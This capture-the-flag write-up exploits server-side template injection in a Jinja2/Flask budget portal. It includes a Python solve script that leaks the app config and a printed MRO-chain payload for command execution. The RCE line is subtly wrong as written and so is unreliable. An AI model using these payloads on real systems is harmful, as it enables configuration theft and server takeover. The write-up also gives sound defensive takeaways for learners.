budget.internal.deadrop
Challenge Description
Internal budget allocation tool. Expense reports. Project names. The template engine has opinions about your input.
"Flat Earth Division Q4 allocation: classified. Coffee budget: also classified. But higher."
We're given deadrop.two-shoes.org/budget, an internal budget allocation portal with an expense report submission form.
Recon
The landing page shows a breakdown of division budget allocations. Two things stand out immediately:
-
The page footer notice reads: "Submissions are processed by the internal template engine v2.3. Project names appear verbatim in generated reports." The template engine is doing something with our input.
-
Clicking through to
/budget/reports, the pre-seeded entries don't give us much to work off of. So let's check out the report submission portal at/budget/submit. The Project Name field has a comment// used as report title, that's a hint at SSTI.
Confirming the Injection
Submit a report with project name {{7*7}}:
- Division: anything
- Amount: 0
- Justification: test
Navigate to /budget/reports. The project name renders as 49. The expression executed server-side.
Try breaking the template intentionally with {{ (unclosed brace):
[TEMPLATE ERROR: TemplateSyntaxError: unexpected end of template, expected ']'.]
Two things confirmed: Jinja2 is the engine, and errors are reflected back.
Finding the Flag
In Flask, render_template_string automatically exposes app.config as config in the template context. This is a built-in Jinja2 global, no special setup needed, it's just there.
Submit project name {{config}}:
The reports page now renders a wall of text in the project name cell: the entire Flask config dictionary serialised. Somewhere in there:
'FLAG': 'DEADROP{flat_earth_division_got_the_most_funding}'
The flag reveal overlay fires automatically.
For a cleaner extraction, submit {{config.FLAG}} or {{config['FLAG']}}, the project name renders as just the flag value.
Full Solve
import requests
BASE = "https://deadrop.two-shoes.org/budget"
s = requests.Session()
# Step 1 - confirm SSTI
s.post(f"{BASE}/submit", data={
"project": "{{7*7}}",
"division": "Coffee Procurement",
"amount": "0",
"justification": "test"
})
r = s.get(f"{BASE}/reports")
assert "49" in r.text
print("SSTI confirmed")
# Step 2 - extract flag directly
s.post(f"{BASE}/submit", data={
"project": "{{config.FLAG}}",
"division": "Coffee Procurement",
"amount": "0",
"justification": "test"
})
r = s.get(f"{BASE}/reports")
import re
flag = re.search(r"DEADROP\{[^}]+\}", r.text)
print(flag.group())
Going Further: RCE
{{config}} is the intended path, but Jinja2 SSTI can go much further. The standard MRO chain for RCE:
# List all subclasses to find subprocess.Popen or similar
{{''.__class__.__mro__[1].__subclasses__()}}
# Find index of subprocess.Popen in the list, then call it
{{''.__class__.__mro__[1].__subclasses__().popen(['id'], stdout=-1).communicate()}}
This gets full command execution on the server. The flag in /app/flag.txt or via environment variables would be reachable too. For this challenge the config leak path is cleaner and faster.
Key Takeaways
1. Never pass user input to render_template_string. If you need to render a template string containing user data, use Jinja2's sandboxed environment (jinja2.sandbox.SandboxedEnvironment) or escape the input before rendering. Better: never render user input as a template at all, use {{ variable | e }} to display it as literal text.
2. Flask's template context is richer than you think. config, request, session, g, and url_for are all available in Flask templates by default. Any of these exposed via SSTI is a data leak or worse.
3. Error messages are intelligence. The Jinja2 exception type and message confirmed the engine, the syntax, and that errors weren't caught silently.
Flag
DEADROP{flat_earth_division_got_the_most_funding}